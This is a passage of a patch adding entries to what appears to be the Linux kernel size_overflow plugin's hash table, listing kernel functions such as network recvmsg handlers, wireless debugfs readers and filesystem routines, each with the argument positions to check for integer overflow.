++_002466_hash ieee80211_if_read_dot11MeshHoldingTimeout 3 47356 _002466_hash NULL
++_002467_hash ieee80211_if_read_dot11MeshHWMPactivePathTimeout 3 7368 _002467_hash NULL
++_002468_hash ieee80211_if_read_dot11MeshHWMPactivePathToRootTimeout 3 17618 _002468_hash NULL
++_002469_hash ieee80211_if_read_dot11MeshHWMPconfirmationInterval 3 57722 _002469_hash NULL
++_002470_hash ieee80211_if_read_dot11MeshHWMPmaxPREQretries 3 59829 _002470_hash NULL
++_002471_hash ieee80211_if_read_dot11MeshHWMPnetDiameterTraversalTime 3 1589 _002471_hash NULL
++_002472_hash ieee80211_if_read_dot11MeshHWMPperrMinInterval 3 17346 _002472_hash NULL
++_002473_hash ieee80211_if_read_dot11MeshHWMPpreqMinInterval 3 24208 _002473_hash NULL
++_002474_hash ieee80211_if_read_dot11MeshHWMPRannInterval 3 2249 _002474_hash NULL
++_002475_hash ieee80211_if_read_dot11MeshHWMProotInterval 3 27873 _002475_hash NULL
++_002476_hash ieee80211_if_read_dot11MeshHWMPRootMode 3 51441 _002476_hash NULL
++_002477_hash ieee80211_if_read_dot11MeshMaxPeerLinks 3 23878 _002477_hash NULL
++_002478_hash ieee80211_if_read_dot11MeshMaxRetries 3 12756 _002478_hash NULL
++_002479_hash ieee80211_if_read_dot11MeshRetryTimeout 3 52168 _002479_hash NULL
++_002480_hash ieee80211_if_read_dot11MeshTTL 3 58307 _002480_hash NULL
++_002481_hash ieee80211_if_read_dropped_frames_congestion 3 32603 _002481_hash NULL
++_002482_hash ieee80211_if_read_dropped_frames_no_route 3 33383 _002482_hash NULL
++_002483_hash ieee80211_if_read_dropped_frames_ttl 3 44500 _002483_hash NULL
++_002484_hash ieee80211_if_read_drop_unencrypted 3 37053 _002484_hash NULL
++_002485_hash ieee80211_if_read_dtim_count 3 38419 _002485_hash NULL
++_002486_hash ieee80211_if_read_element_ttl 3 18869 _002486_hash NULL
++_002487_hash ieee80211_if_read_estab_plinks 3 32533 _002487_hash NULL
++_002488_hash ieee80211_if_read_flags 3 57470 _002919_hash NULL nohasharray
++_002489_hash ieee80211_if_read_fwded_frames 3 36520 _002489_hash NULL
++_002490_hash ieee80211_if_read_fwded_mcast 3 39571 _002490_hash &_000162_hash
++_002491_hash ieee80211_if_read_fwded_unicast 3 59740 _002491_hash &_001697_hash
++_002492_hash ieee80211_if_read_ht_opmode 3 29044 _002492_hash NULL
++_002493_hash ieee80211_if_read_last_beacon 3 31257 _002493_hash NULL
++_002494_hash ieee80211_if_read_min_discovery_timeout 3 13946 _002494_hash NULL
++_002495_hash ieee80211_if_read_num_buffered_multicast 3 12716 _002495_hash NULL
++_002496_hash ieee80211_if_read_num_mcast_sta 3 12419 _002496_hash NULL
++_002497_hash ieee80211_if_read_num_sta_ps 3 34722 _002497_hash NULL
++_002498_hash ieee80211_if_read_path_refresh_time 3 25545 _002498_hash NULL
++_002499_hash ieee80211_if_read_peer 3 45233 _002499_hash NULL
++_002500_hash ieee80211_if_read_rc_rateidx_mask_2ghz 3 61570 _002500_hash NULL
++_002501_hash ieee80211_if_read_rc_rateidx_mask_5ghz 3 27183 _002501_hash NULL
++_002502_hash ieee80211_if_read_rc_rateidx_mcs_mask_2ghz 3 37675 _002502_hash NULL
++_002503_hash ieee80211_if_read_rc_rateidx_mcs_mask_5ghz 3 44423 _002503_hash NULL
++_002504_hash ieee80211_if_read_rssi_threshold 3 49260 _002504_hash NULL
++_002505_hash ieee80211_if_read_smps 3 27416 _002505_hash NULL
++_002506_hash ieee80211_if_read_state 3 9813 _002707_hash NULL nohasharray
++_002507_hash ieee80211_if_read_tkip_mic_test 3 19565 _002507_hash NULL
++_002508_hash ieee80211_if_read_tsf 3 16420 _002508_hash NULL
++_002509_hash ieee80211_if_read_uapsd_max_sp_len 3 15067 _002509_hash NULL
++_002510_hash ieee80211_if_read_uapsd_queues 3 55150 _002510_hash NULL
++_002511_hash ieee80211_mgmt_tx 9 46860 _002511_hash NULL
++_002512_hash ieee80211_probereq_get 4-6 29069 _002512_hash NULL
++_002514_hash ieee80211_rx_mgmt_beacon 3 24430 _002514_hash NULL
++_002515_hash ieee80211_rx_mgmt_probe_resp 3 6918 _002515_hash NULL
++_002516_hash ieee80211_send_auth 5 24121 _002516_hash NULL
++_002517_hash ieee80211_set_probe_resp 3 10077 _002517_hash NULL
++_002518_hash ieee80211_tdls_mgmt 8 9581 _002518_hash NULL
++_002519_hash ima_show_htable_violations 3 10619 _002519_hash NULL
++_002520_hash ima_show_measurements_count 3 23536 _002520_hash NULL
++_002521_hash insert_one_name 7 61668 _002521_hash NULL
++_002522_hash ip6_ufo_append_data 5-7-6 4780 _002522_hash NULL
++_002525_hash ip_append_data 5-6 16942 _002525_hash NULL
++_002526_hash ip_make_skb 5-6 13129 _002526_hash NULL
++_002527_hash ip_nat_sdp_port 6 52938 _002527_hash NULL
++_002528_hash ip_nat_sip_expect 7 45693 _002528_hash NULL
++_002529_hash ipr_change_queue_depth 2 6431 _002529_hash NULL
++_002530_hash ip_recv_error 3 23109 _002530_hash NULL
++_002531_hash ip_ufo_append_data 6-8-7 12775 _002531_hash NULL
++_002534_hash ipv6_recv_error 3 56347 _002534_hash NULL
++_002535_hash ipv6_recv_rxpmtu 3 7142 _002535_hash NULL
++_002536_hash ipw_packet_received_skb 2 1230 _002536_hash NULL
++_002537_hash ipx_recvmsg 4 44366 _002537_hash NULL
++_002538_hash irda_recvmsg_dgram 4 32631 _002538_hash NULL
++_002539_hash iscsi_change_queue_depth 2 23416 _002539_hash NULL
++_002540_hash iscsi_complete_pdu 4 48372 _002540_hash NULL
++_002541_hash iwch_reject_cr 3 23901 _002541_hash NULL
++_002542_hash ixgb_check_copybreak 3 5847 _002542_hash NULL
++_002543_hash key_conf_hw_key_idx_read 3 25003 _002543_hash NULL
++_002544_hash key_conf_keyidx_read 3 42443 _002544_hash NULL
++_002545_hash key_conf_keylen_read 3 49758 _002545_hash NULL
++_002546_hash key_flags_read 3 25931 _002546_hash NULL
++_002547_hash key_ifindex_read 3 31411 _002547_hash NULL
++_002548_hash key_tx_rx_count_read 3 44742 _002548_hash NULL
++_002549_hash kmsg_read 3 46514 _002549_hash NULL
++_002550_hash l1oip_socket_parse 4 4507 _002550_hash NULL
++_002551_hash l2cap_send_cmd 4 14548 _002551_hash NULL
++_002552_hash l2cap_sock_sendmsg 4 63427 _002552_hash NULL
++_002553_hash l2tp_ip6_recvmsg 4 62874 _002553_hash NULL
++_002554_hash l2tp_ip6_sendmsg 4 7461 _002554_hash NULL
++_002555_hash l2tp_ip_recvmsg 4 22681 _002555_hash NULL
++_002556_hash lbs_bcnmiss_read 3 8678 _002556_hash NULL
++_002557_hash lbs_failcount_read 3 31063 _002557_hash NULL
++_002558_hash lbs_highrssi_read 3 64089 _002558_hash NULL
++_002559_hash lbs_highsnr_read 3 5931 _002559_hash NULL
++_002560_hash lbs_lowrssi_read 3 32242 _002560_hash NULL
++_002561_hash lbs_lowsnr_read 3 29571 _002561_hash NULL
++_002563_hash llc_ui_recvmsg 4 3826 _002563_hash NULL
++_002564_hash lowpan_fragment_xmit 3-4 22095 _002564_hash NULL
++_002566_hash lpfc_change_queue_depth 2 25905 _002566_hash NULL
++_002568_hash macvtap_do_read 4 36555 _002568_hash &_002050_hash
++_002569_hash mangle_sdp_packet 9 36279 _002569_hash NULL
++_002570_hash map_addr 6 4666 _002570_hash NULL
++_002571_hash mcs_unwrap_fir 3 25733 _002571_hash NULL
++_002572_hash mcs_unwrap_mir 3 9455 _002572_hash NULL
++_002573_hash megaraid_change_queue_depth 2 64815 _002573_hash NULL
++_002574_hash megasas_change_queue_depth 2 32747 _002574_hash NULL
++_002575_hash mld_newpack 2 50950 _002575_hash NULL
++_002576_hash mptscsih_change_queue_depth 2 26036 _002576_hash NULL
++_002577_hash named_distribute 4 48544 _002577_hash NULL
++_002578_hash NCR_700_change_queue_depth 2 31742 _002578_hash NULL
++_002579_hash netlink_recvmsg 4 61600 _002579_hash NULL
++_002580_hash nfc_alloc_send_skb 4 3167 _002580_hash NULL
++_002581_hash nf_nat_ftp 5 47948 _002581_hash NULL
++_002582_hash nfsctl_transaction_read 3 48250 _002582_hash NULL
++_002583_hash nfsd_read 5 19568 _002583_hash NULL
++_002584_hash nfsd_read_file 6 62241 _002584_hash NULL
++_002585_hash nfsd_write 6 54809 _002585_hash NULL
++_002586_hash nfs_map_group_to_gid 3 15892 _002586_hash NULL
++_002587_hash nfs_map_name_to_uid 3 51132 _002587_hash NULL
++_002588_hash nr_recvmsg 4 12649 _002588_hash NULL
++_002589_hash ntfs_rl_append 2-4 6037 _002589_hash NULL
++_002591_hash ntfs_rl_insert 2-4 4931 _002591_hash NULL
++_002593_hash ntfs_rl_replace 2-4 14136 _002593_hash NULL
++_002595_hash ntfs_rl_split 2-4 52328 _002595_hash NULL
++_002597_hash osd_req_list_collection_objects 5 36664 _002597_hash NULL
++_002598_hash osd_req_list_partition_objects 5 56464 _002598_hash NULL
++_002599_hash osd_req_read_sg 5 47905 _002599_hash NULL
++_002600_hash osd_req_write_sg 5 50908 _002600_hash NULL
++_002602_hash p54_download_eeprom 4 43842 _002602_hash NULL
++_002604_hash packet_recv_error 3 16669 _002604_hash NULL
++_002605_hash packet_recvmsg 4 47700 _002605_hash NULL
++_002606_hash pep_recvmsg 4 19402 _002606_hash NULL
++_002607_hash pfkey_recvmsg 4 53604 _002607_hash NULL
++_002608_hash ping_recvmsg 4 25597 _002608_hash NULL
++_002609_hash pmcraid_change_queue_depth 2 9116 _002609_hash NULL
++_002610_hash pn_recvmsg 4 30887 _002610_hash NULL
++_002611_hash pointer_size_read 3 51863 _002611_hash NULL
++_002612_hash power_read 3 15939 _002612_hash NULL
++_002613_hash pppoe_recvmsg 4 15073 _002613_hash NULL
++_002614_hash pppol2tp_recvmsg 4 57742 _002993_hash NULL nohasharray
++_002615_hash ppp_tx_cp 5 62044 _002615_hash NULL
++_002616_hash prism2_send_mgmt 4 62605 _002616_hash &_002119_hash
++_002617_hash prism2_sta_send_mgmt 5 43916 _002617_hash NULL
++_002618_hash prison_create 1 43623 _002618_hash NULL
++_002619_hash qla2x00_adjust_sdev_qdepth_up 2 20097 _002619_hash NULL
++_002620_hash qla2x00_change_queue_depth 2 24742 _002620_hash NULL
++_002621_hash _queue_data 4 54983 _002621_hash NULL
++_002622_hash raw_recvmsg 4 52529 _002622_hash NULL
++_002623_hash rawsock_recvmsg 4 12144 _002623_hash NULL
++_002624_hash rawv6_recvmsg 4 30265 _002624_hash NULL
++_002625_hash rds_tcp_data_recv 3 53476 _002625_hash NULL
++_002626_hash reada_add_block 2 54247 _002626_hash NULL
++_002627_hash readahead_tree_block 3 36285 _002627_hash NULL
++_002628_hash reada_tree_block_flagged 3 18402 _002628_hash NULL
++_002629_hash read_dma 3 55086 _002629_hash NULL
++_002630_hash read_fifo 3 826 _002630_hash NULL
++_002631_hash read_tree_block 3 841 _002631_hash NULL
++_002632_hash receive_copy 3 12216 _002632_hash NULL
++_002633_hash recover_peb 6-7 29238 _002633_hash NULL
++_002635_hash recv_msg 4 48709 _002635_hash NULL
++_002636_hash recv_stream 4 30138 _002636_hash NULL
++_002637_hash _req_append_segment 2 41031 _002637_hash NULL
++_002638_hash request_key_async 4 6990 _002638_hash NULL
++_002639_hash request_key_async_with_auxdata 4 46624 _002639_hash NULL
++_002640_hash request_key_with_auxdata 4 24515 _002640_hash NULL
++_002641_hash rose_recvmsg 4 2368 _002641_hash &_001788_hash
++_002642_hash rtl8169_try_rx_copy 3 705 _002642_hash NULL
++_002643_hash _rtl92s_firmware_downloadcode 3 14021 _002643_hash NULL
++_002644_hash rx_data 4 60442 _002644_hash NULL
++_002645_hash rxrpc_recvmsg 4 26233 _002645_hash NULL
++_002646_hash sas_change_queue_depth 2 18555 _002646_hash NULL
++_002647_hash scsi_activate_tcq 2 42640 _002647_hash NULL
++_002648_hash scsi_deactivate_tcq 2 47086 _002648_hash NULL
++_002649_hash scsi_execute 5 33596 _002649_hash NULL
++_002650_hash _scsih_adjust_queue_depth 2 1083 _002650_hash NULL
++_002651_hash scsi_init_shared_tag_map 2 59812 _002651_hash NULL
++_002652_hash scsi_track_queue_full 2 44239 _002652_hash NULL
++_002653_hash sctp_abort_pkt_new 5 55218 _002653_hash NULL
++_002654_hash sctp_make_abort_violation 4 27959 _002654_hash NULL
++_002655_hash sctp_make_op_error 5-6 7057 _002655_hash NULL
++_002657_hash sctp_recvmsg 4 23265 _002657_hash NULL
++_002658_hash send_stream 4 3397 _002658_hash NULL
++_002659_hash sis190_try_rx_copy 3 57069 _002659_hash NULL
++_002664_hash skb_copy_and_csum_datagram_iovec 2 24466 _002664_hash NULL
++_002666_hash skge_rx_get 3 40598 _002666_hash NULL
++_002667_hash smp_send_cmd 3 512 _002667_hash NULL
++_002668_hash snd_gf1_mem_proc_dump 5 16926 _003499_hash NULL nohasharray
++_002669_hash sta_dev_read 3 14782 _002669_hash NULL
++_002670_hash sta_inactive_ms_read 3 25690 _002670_hash NULL
++_002671_hash sta_last_signal_read 3 31818 _002671_hash NULL
++_002672_hash stats_dot11ACKFailureCount_read 3 45558 _002672_hash NULL
++_002673_hash stats_dot11FCSErrorCount_read 3 28154 _002673_hash NULL
++_002674_hash stats_dot11RTSFailureCount_read 3 43948 _002674_hash NULL
++_002675_hash stats_dot11RTSSuccessCount_read 3 33065 _002675_hash NULL
++_002676_hash storvsc_connect_to_vsp 2 22 _002676_hash NULL
++_002677_hash sys_msgrcv 3 959 _002677_hash NULL
++_002678_hash sys_syslog 3 10746 _002678_hash NULL
++_002679_hash tcf_csum_ipv4_icmp 3 9258 _002679_hash NULL
++_002680_hash tcf_csum_ipv4_igmp 3 60446 _002680_hash NULL
++_002681_hash tcf_csum_ipv4_tcp 4 39713 _002681_hash NULL
++_002682_hash tcf_csum_ipv4_udp 4 30777 _002682_hash NULL
++_002683_hash tcf_csum_ipv6_icmp 4 11738 _002683_hash NULL
++_002684_hash tcf_csum_ipv6_tcp 4 54877 _002684_hash NULL
++_002685_hash tcf_csum_ipv6_udp 4 25241 _002685_hash NULL
++_002686_hash tcm_loop_change_queue_depth 2 42454 _002686_hash NULL
++_002687_hash tcp_copy_to_iovec 3 28344 _002687_hash NULL
++_002688_hash tcp_mark_head_lost 2 35895 _002688_hash NULL
++_002689_hash tcp_match_skb_to_sack 4 23568 _002689_hash NULL
++_002690_hash timeout_read 3 47915 _002690_hash NULL
++_002691_hash tipc_multicast 5 49144 _002691_hash NULL
++_002692_hash tipc_port_recv_sections 4 42890 _002692_hash NULL
++_002693_hash tipc_port_reject_sections 5 55229 _002693_hash NULL
++_002694_hash total_ps_buffered_read 3 16365 _002694_hash NULL
++_002695_hash tso_fragment 3 29050 _002695_hash NULL
++_002696_hash tty_insert_flip_string 3 34042 _002696_hash NULL
++_002698_hash tun_put_user 4 59849 _002698_hash NULL
++_002699_hash twa_change_queue_depth 2 48808 _002699_hash NULL
++_002700_hash tw_change_queue_depth 2 11116 _002700_hash NULL
++_002701_hash twl_change_queue_depth 2 41342 _002701_hash NULL
++_002702_hash ubi_eba_atomic_leb_change 5 60379 _002702_hash NULL
++_002703_hash ubi_eba_write_leb 5-6 36029 _002703_hash NULL
++_002705_hash ubi_eba_write_leb_st 5 44343 _002705_hash NULL
++_002706_hash udp_recvmsg 4 42558 _002706_hash NULL
++_002707_hash udpv6_recvmsg 4 9813 _002707_hash &_002506_hash
++_002708_hash udpv6_sendmsg 4 22316 _002708_hash NULL
++_002709_hash ulong_read_file 3 42304 _002709_hash &_000522_hash
++_002710_hash unix_dgram_recvmsg 4 14952 _002710_hash NULL
++_002711_hash user_power_read 3 39414 _002711_hash NULL
++_002712_hash v9fs_direct_read 3 45546 _002712_hash NULL
++_002713_hash v9fs_file_readn 4 36353 _002713_hash &_001799_hash
++_002714_hash vcc_recvmsg 4 37198 _002714_hash NULL
++_002715_hash velocity_rx_copy 2 34583 _002715_hash NULL
++_002716_hash W6692_empty_Bfifo 2 47804 _002716_hash NULL
++_002717_hash wep_iv_read 3 54744 _002717_hash NULL
++_002718_hash x25_recvmsg 4 42777 _002718_hash NULL
++_002719_hash xfs_buf_get_map 3 24522 _002719_hash NULL
++_002720_hash xfs_file_aio_write 4 33234 _002720_hash NULL
++_002721_hash xfs_iext_insert 3 18667 _002741_hash NULL nohasharray
++_002722_hash xfs_iext_remove 3 50909 _002722_hash NULL
++_002723_hash xlog_do_recovery_pass 3 21618 _002723_hash NULL
++_002724_hash xlog_find_verify_log_record 2 18870 _002724_hash NULL
++_002725_hash zd_mac_rx 3 38296 _002725_hash NULL
++_002726_hash aircable_process_packet 5 46639 _002726_hash NULL
++_002727_hash ath6kl_wmi_get_new_buf 1 52304 _002727_hash NULL
++_002728_hash batadv_iv_ogm_queue_add 3 46319 _002728_hash NULL
++_002729_hash batadv_receive_client_update_packet 3 41578 _002729_hash NULL
++_002730_hash batadv_receive_server_sync_packet 3 26577 _002730_hash &_000494_hash
++_002731_hash brcmf_alloc_pkt_and_read 2 63116 _002731_hash &_002028_hash
++_002732_hash brcmf_sdcard_recv_buf 6 38179 _002732_hash NULL
++_002733_hash brcmf_sdcard_rwdata 5 65041 _002733_hash NULL
++_002734_hash brcmf_sdcard_send_buf 6 7713 _002734_hash NULL
++_002735_hash brcmf_sdio_forensic_read 3 35311 _002735_hash &_001382_hash
++_002736_hash btrfs_alloc_free_block 3 8986 _002736_hash NULL
++_002737_hash btrfs_free_and_pin_reserved_extent 2 53016 _002737_hash NULL
++_002738_hash btrfs_free_reserved_extent 2 9867 _002738_hash NULL
++_002739_hash carl9170_handle_mpdu 3 11056 _002739_hash NULL
++_002740_hash do_trimming 3 26952 _002740_hash NULL
++_002741_hash edge_tty_recv 4 18667 _002741_hash &_002721_hash
++_002742_hash fwnet_receive_packet 9 50537 _002742_hash NULL
++_002743_hash gigaset_if_receive 3 4861 _002743_hash NULL
++_002744_hash gsm_dlci_data 3 14155 _002744_hash NULL
++_002745_hash handle_rx_packet 3 58993 _002745_hash NULL
++_002746_hash HDLC_irq 2 8709 _002746_hash NULL
++_002747_hash hdlc_rpr_irq 2 10240 _002747_hash NULL
++_002749_hash ifx_spi_insert_flip_string 3 51752 _002749_hash NULL
++_002753_hash ip_nat_sdp_media 8 23386 _002753_hash NULL
++_002754_hash ip_send_unicast_reply 6 38714 _002754_hash NULL
++_002756_hash ipwireless_network_packet_received 4 51277 _002756_hash NULL
++_002757_hash ipwireless_tty_received 3 49154 _002757_hash NULL
++_002758_hash iscsi_iser_recv 4 41948 _002758_hash NULL
++_002759_hash l2cap_bredr_sig_cmd 3 49065 _002759_hash NULL
++_002760_hash l2cap_sock_alloc_skb_cb 2 33532 _002760_hash NULL
++_002761_hash l2cap_sock_recvmsg 4 59886 _002761_hash NULL
++_002762_hash llcp_allocate_pdu 3 19866 _002762_hash NULL
++_002763_hash macvtap_recvmsg 4 63949 _002763_hash NULL
++_002764_hash osd_req_list_dev_partitions 4 60027 _002764_hash NULL
++_002765_hash osd_req_list_partition_collections 5 38223 _002765_hash NULL
++_002766_hash osst_do_scsi 4 44410 _002766_hash NULL
++_002767_hash ping_sendmsg 4 3782 _002767_hash NULL
++_002768_hash ppp_cp_event 6 2965 _002768_hash NULL
++_002769_hash pty_write 3 44757 _002769_hash &_001733_hash
++_002770_hash push_rx 3 28939 _002770_hash NULL
++_002772_hash qla2x00_handle_queue_full 2 24365 _002772_hash NULL
++_002773_hash qla4xxx_change_queue_depth 2 1268 _002773_hash NULL
++_002774_hash rfcomm_sock_recvmsg 4 22227 _002774_hash NULL
++_002775_hash scsi_execute_req 5 42088 _002775_hash NULL
++_002776_hash _scsih_change_queue_depth 2 26230 _002776_hash NULL
++_002777_hash sctp_sf_abort_violation 6 38380 _002777_hash NULL
++_002778_hash send_to_tty 3 45141 _002778_hash NULL
++_002780_hash sky2_receive 2 13407 _002780_hash NULL
++_002781_hash spi_execute 5 28736 _002781_hash NULL
++_002782_hash submit_inquiry 3 42108 _002782_hash NULL
++_002783_hash tcp_dma_try_early_copy 3 4457 _002783_hash NULL
++_002784_hash tcp_sacktag_walk 6 49703 _002784_hash NULL
++_002785_hash tcp_write_xmit 2 64602 _002785_hash NULL
++_002786_hash ti_recv 4 22027 _002786_hash NULL
++_002787_hash tun_do_read 4 50800 _002787_hash NULL
++_002788_hash ubi_leb_change 4 10289 _002788_hash NULL
++_002789_hash ubi_leb_write 4-5 5478 _002789_hash NULL
++_002791_hash udp_sendmsg 4 4492 _002791_hash NULL
++_002792_hash unix_seqpacket_recvmsg 4 23062 _002792_hash &_000477_hash
++_002793_hash v9fs_cached_file_read 3 2514 _002793_hash NULL
++_002794_hash write_leb 5 36957 _002794_hash NULL
++_002795_hash xfs_buf_read_map 3 40226 _002795_hash NULL
++_002796_hash xfs_trans_get_buf_map 4 2927 _002796_hash NULL
++_002797_hash xlog_do_log_recovery 3 17550 _002797_hash NULL
++_002798_hash ath6kl_wmi_add_wow_pattern_cmd 4 12842 _002798_hash NULL
++_002799_hash ath6kl_wmi_beginscan_cmd 8 25462 _002799_hash NULL
++_002800_hash ath6kl_wmi_send_probe_response_cmd 6 31728 _002800_hash NULL
++_002801_hash ath6kl_wmi_set_appie_cmd 5 39266 _002801_hash NULL
++_002802_hash ath6kl_wmi_set_ie_cmd 6 37260 _002802_hash NULL
++_002803_hash ath6kl_wmi_startscan_cmd 8 33674 _002803_hash NULL
++_002804_hash ath6kl_wmi_test_cmd 3 27312 _002804_hash NULL
++_002805_hash brcmf_sdbrcm_membytes 3-5 37324 _002805_hash NULL
++_002807_hash brcmf_sdbrcm_read_control 3 22721 _002807_hash NULL
++_002808_hash brcmf_tx_frame 3 20978 _002808_hash NULL
++_002809_hash __carl9170_rx 3 56784 _002809_hash NULL
++_002810_hash ch_do_scsi 4 31171 _002810_hash NULL
++_002811_hash dbg_leb_change 4 23555 _002811_hash NULL
++_002812_hash dbg_leb_write 4-5 63555 _002812_hash &_000971_hash
++_002814_hash gluebi_write 3 27905 _002814_hash NULL
++_002815_hash hdlc_irq_one 2 3944 _002815_hash NULL
++_002819_hash iser_rcv_completion 2 8048 _002819_hash NULL
++_002820_hash lock_loop 1 61681 _002820_hash NULL
++_002821_hash process_rcvd_data 3 6679 _002821_hash NULL
++_002822_hash brcmf_sdbrcm_bus_txctl 3 42492 _002822_hash NULL
++_002823_hash carl9170_rx 3 13272 _002823_hash NULL
++_002824_hash carl9170_rx_stream 3 1334 _002824_hash NULL
++_002826_hash mpt_lan_receive_post_turbo 2 13592 _002826_hash NULL
++_002827_hash padzero 1 55 _002827_hash &_002251_hash
++_002828_hash scsi_mode_sense 5 16835 _002828_hash NULL
++_002829_hash scsi_vpd_inquiry 4 30040 _002829_hash NULL
++_002830_hash ses_recv_diag 4 47143 _002830_hash &_000679_hash
++_002831_hash ses_send_diag 4 64527 _002831_hash NULL
++_002832_hash tcp_push_one 2 48816 _002832_hash NULL
++_002833_hash __tcp_push_pending_frames 2 48148 _002833_hash NULL
++_002834_hash trim_bitmaps 3 24158 _002834_hash NULL
++_002835_hash tun_recvmsg 4 48463 _002835_hash NULL
++_002836_hash ubifs_leb_change 4 17789 _002836_hash NULL
++_002837_hash ubifs_leb_write 4-5 22679 _002837_hash NULL
++_002839_hash xfs_buf_readahead_map 3 44248 _002839_hash &_000851_hash
++_002840_hash xfs_trans_read_buf_map 5 37487 _002840_hash NULL
++_002841_hash xlog_do_recover 3 59789 _002841_hash NULL
++_002842_hash btrfs_trim_block_group 3 28963 _002842_hash NULL
++_002843_hash do_write_orph_node 2 64343 _002843_hash NULL
++_002844_hash fix_unclean_leb 3 23188 _002844_hash NULL
++_002845_hash fixup_leb 3 43256 _002845_hash NULL
++_002846_hash recover_head 3 17904 _002846_hash NULL
++_002847_hash scsi_get_vpd_page 4 51951 _002847_hash NULL
++_002848_hash sd_do_mode_sense 5 11507 _002848_hash NULL
++_002849_hash tcp_push 3 10680 _002849_hash NULL
++_002850_hash ubifs_wbuf_write_nolock 3 64946 _002850_hash NULL
++_002851_hash ubifs_write_node 3-5 11258 _002851_hash NULL
++_002852_hash ubifs_recover_leb 3 60639 _002852_hash NULL
++_002853_hash write_head 4 30481 _002853_hash NULL
++_002854_hash write_node 4 33121 _002854_hash NULL
++_002855_hash ubifs_recover_log_leb 3 12079 _002855_hash NULL
++_002856_hash replay_log_leb 3 18704 _002856_hash NULL
++_002857_hash alloc_cpu_rmap 1 65363 _002857_hash NULL
++_002858_hash alloc_ebda_hpc 1-2 50046 _002858_hash NULL
++_002860_hash alloc_sched_domains 1 28972 _002860_hash NULL
++_002861_hash amthi_read 4 45831 _002861_hash NULL
++_002862_hash bcm_char_read 3 31750 _002862_hash NULL
++_002863_hash BcmCopySection 5 2035 _002863_hash NULL
++_002864_hash buffer_from_user 3 51826 _002864_hash NULL
++_002865_hash buffer_to_user 3 35439 _002865_hash NULL
++_002866_hash card_send_command 3 40757 _002866_hash NULL
++_002867_hash chd_dec_fetch_cdata 3 50926 _002867_hash NULL
++_002868_hash copy_nodes_to_user 2 63807 _002868_hash NULL
++_002869_hash create_log 2 8225 _002869_hash NULL
++_002870_hash crystalhd_create_dio_pool 2 3427 _002870_hash NULL
++_002871_hash crystalhd_user_data 3 18407 _002871_hash NULL
++_002872_hash do_pages_stat 2 4437 _002872_hash NULL
++_002873_hash do_read_log_to_user 4 3236 _002873_hash NULL
++_002874_hash do_write_log_from_user 3 39362 _002874_hash NULL
++_002875_hash evm_read_key 3 54674 _002875_hash NULL
++_002876_hash evm_write_key 3 27715 _002876_hash NULL
++_002877_hash fir16_create 3 5574 _002877_hash NULL
++_002878_hash get_nodes 3 39012 _002878_hash NULL
++_002879_hash __iio_allocate_kfifo 2-3 55738 _002879_hash NULL
++_002881_hash __iio_allocate_sw_ring_buffer 3 4843 _002881_hash NULL
++_002882_hash iio_debugfs_read_reg 3 60908 _002882_hash NULL
++_002883_hash iio_debugfs_write_reg 3 22742 _002883_hash NULL
++_002884_hash iio_device_alloc 1 41440 _002884_hash NULL
++_002885_hash iio_event_chrdev_read 3 54757 _002885_hash NULL
++_002886_hash iio_read_first_n_kfifo 2 57910 _002886_hash NULL
++_002887_hash iio_read_first_n_sw_rb 2 51911 _002887_hash NULL
++_002888_hash ioapic_setup_resources 1 35255 _002888_hash NULL
++_002889_hash keymap_store 4 45406 _002889_hash NULL
++_002890_hash line6_alloc_sysex_buffer 4 28225 _002890_hash NULL
++_002891_hash line6_dumpreq_initbuf 3 53123 _002891_hash NULL
++_002892_hash line6_midibuf_init 2 52425 _002892_hash NULL
++_002893_hash _malloc 1 54077 _002893_hash NULL
++_002894_hash mei_read 3 6507 _002894_hash NULL
++_002895_hash mei_write 3 4005 _002895_hash NULL
++_002896_hash msg_set 3 51725 _002896_hash NULL
++_002897_hash newpart 6 47485 _002897_hash NULL
++_002898_hash OS_kmalloc 1 36909 _002898_hash NULL
++_002899_hash OS_mem_token_alloc 1 14276 _002899_hash NULL
++_002900_hash packet_came 3 18072 _002900_hash NULL
++_002901_hash pcpu_alloc_bootmem 2 62074 _002901_hash NULL
++_002902_hash pcpu_build_alloc_info 1-3-2 41443 _002902_hash NULL
++_002905_hash pcpu_get_vm_areas 3 50085 _002905_hash NULL
++_002906_hash resource_from_user 3 30341 _002906_hash NULL
++_002907_hash rtsx_read_cfg_seq 3-5 48139 _002907_hash NULL
++_002909_hash rtsx_write_cfg_seq 3-5 27485 _002909_hash NULL
++_002911_hash sca3000_read_data 4 57064 _002911_hash NULL
++_002912_hash sca3000_read_first_n_hw_rb 2 11479 _002912_hash NULL
++_002913_hash send_midi_async 3 57463 _002913_hash NULL
++_002914_hash sep_create_dcb_dmatables_context 6 37551 _002914_hash NULL
++_002915_hash sep_create_dcb_dmatables_context_kernel 6 49728 _002915_hash NULL
++_002916_hash sep_create_msgarea_context 4 33829 _002916_hash NULL
++_002917_hash sep_lli_table_secure_dma 2-3 64042 _002917_hash NULL
++_002919_hash sep_lock_user_pages 2-3 57470 _002919_hash &_002488_hash
++_002921_hash sep_prepare_input_output_dma_table_in_dcb 4-5-2-3 63087 _002921_hash NULL
++_002923_hash sep_read 3 17161 _002923_hash NULL
++_002924_hash TransmitTcb 4 12989 _002924_hash NULL
++_002925_hash ValidateDSDParamsChecksum 3 63654 _002925_hash NULL
++_002926_hash Wb35Reg_BurstWrite 4 62327 _002926_hash NULL
++_002927_hash alloc_irq_cpu_rmap 1 28459 _002927_hash NULL
++_002928_hash InterfaceTransmitPacket 3 42058 _002928_hash NULL
++_002929_hash line6_dumpreq_init 3 34473 _002929_hash NULL
++_002931_hash pcpu_embed_first_chunk 1-3-2 24224 _002931_hash NULL
++_002933_hash pcpu_fc_alloc 2 11818 _002933_hash NULL
++_002934_hash pcpu_page_first_chunk 1 20712 _002934_hash NULL
++_002935_hash pod_alloc_sysex_buffer 3 31651 _002935_hash NULL
++_002936_hash r8712_usbctrl_vendorreq 6 48489 _002936_hash NULL
++_002937_hash r871x_set_wpa_ie 3 7000 _002937_hash NULL
++_002938_hash sep_prepare_input_dma_table 2-3 2009 _002938_hash NULL
++_002940_hash sep_prepare_input_output_dma_table 2-4-3 63429 _002940_hash NULL
++_002943_hash sys_get_mempolicy 3 30379 _002943_hash NULL
++_002944_hash sys_mbind 5 7990 _002944_hash NULL
++_002945_hash sys_migrate_pages 2 39825 _002945_hash NULL
++_002946_hash sys_move_pages 2 42626 _002946_hash NULL
++_002947_hash sys_set_mempolicy 3 32608 _002947_hash NULL
++_002948_hash variax_alloc_sysex_buffer 3 15237 _002948_hash NULL
++_002949_hash vme_user_read 3 55338 _002949_hash NULL
++_002950_hash vme_user_write 3 15587 _002950_hash NULL
